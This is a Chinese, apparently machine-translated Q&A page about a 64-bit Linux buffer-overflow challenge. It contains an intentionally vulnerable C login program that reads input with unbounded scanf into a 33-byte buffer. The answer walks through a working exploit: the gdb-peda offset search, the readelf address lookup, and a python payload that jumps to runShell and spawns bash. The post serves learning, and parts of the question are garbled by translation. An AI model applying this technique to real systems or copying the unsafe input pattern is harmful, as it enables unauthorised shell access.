缓冲区溢出 - linux 64bit

时间:2017-06-20 20:32:09

标签: c gcc buffer buffer-overflow

我一直在研究"缓冲区溢出linux 64bit" 挑战的测试程序。启动程序时,会提示输入密码。

目的是利用密码字段中的缓冲区溢出错误来访问shell部分。因为我是这个领域的初学者。我去了网上关注一些教程。在我的研究之前和期间,我在这个网站上多次摔倒,以便更好地理解main.c中的源代码,也可以在下面的链接中找到。

我在Linux上使用 GDB objdump 进行断点和反汇编。

结果/采取的措施:

  • 输入的密码在转换时存储在RSP shell地址,在我的电脑0x555555559bd上是那种 ASCII。
  • 然后,我反驳了我得到的所有内容:½IUUUU
  • 当我输入此值作为密码时,我会在0x555555559bd注册表中获得地址RSP
  • 我也知道我可以通过输入例如:RBP来粉碎aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa½IUUUU的值。
  • 地址"½IUUUU"中写有RBP

问题:我被阻止的地方我想知道我可以做些什么样的注射来跳转地址0x9bd?< / p>

这是包含源代码和cc命令的文件: 的 http://mtnb.be/test_login_overflow.rar

代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BANNER "\n\
BUFFER OVER FLOW TEST\n\
"

char passwd[33] = {0};

void readPasswd(){
  FILE *file = fopen("/home/user/passwd", "r");
  if (!file){
    puts("ERROR: Unable to read /home/user/passwd");
    exit(1);
  }
  fread(passwd, 1, 32, file);
}

void runShell()
{
  system("bash");
}


int check_passwd(){
  char debug = 0;
  char buffer[33] = {0};

  puts("Enter your password:");
  fflush(stdout);
  scanf("%s", buffer);

  if (debug){
    printf("runShell @ %p\n", runShell);
    fflush(stdout);
  }
  if (strncmp(passwd, buffer, 32))
    return 0;
  else
    return 1;
}

void login()
{
  while (1){
    if (check_passwd())
      break;
    puts("Invalid password !");
    fflush(stdout);
  }
  puts("Welcome admin, here is your shell !");
  fflush(stdout);
  runShell();
}

int main()
{
  char passwd[33] = {0};
  puts(BANNER);
  fflush(stdout);
  readPasswd();
  login();

  return 0;
}

1 个答案:

答案 0 :(得分:0)

这是一个简单的缓冲区溢出,因为您可以看到缓冲区溢出发生在 scanf 函数中:

  char buffer[33] = {0};

  puts("Enter your password:");
  fflush(stdout);
  scanf("%s", buffer);

要利用它,首先应该知道覆盖指令程序(RIP)的偏移并获得执行控制,

我使用gdb + PEDA:

gdb-peda$ pattern create 100 input
gdb-peda$ r < input
...
gdb-peda$ patts
Registers contain pattern buffer:
RBP+0 found at offset: 48
Registers point to pattern buffer:
[RSP] --> offset 56 - size ~44
...

现在,我们有了利用缓冲区溢出的偏移量。所以,我们可以得到EIP控制。

[manu@debian /tmp]$ python -c 'print "A"*56+"BBBBBBBB"' > input


gdb-peda$ r < input
...
   0x4008b7 <check_passwd+174>: leave  
=> 0x4008b8 <check_passwd+175>: ret 
...    
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe248 ("BBBBBBBB")

我们知道,当调用ret指令时,EIP将是堆栈顶部的地址。因此,我们通过 0x4007f9 更改te地址并运行shell。

[manu@debian /tmp]$ readelf -s bof
...
    60: 0000000000600ee0     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
    61: 00000000004007f9    16 FUNC    GLOBAL DEFAULT   13 runShell
    62: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
...

[manu@debian /tmp]$ python -c 'print "A"*56+"\xf9\x07\x40\x00\x00\x00\x00\x00"' > input
[manu@debian /tmp]$ (cat input;cat) | ./bof 

BUFFER OVER FLOW TEST

Enter your password:
runShell @ 0x4007f9
id
uid=1000(manu) gid=1000(manu) grupos=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),119(bluetooth)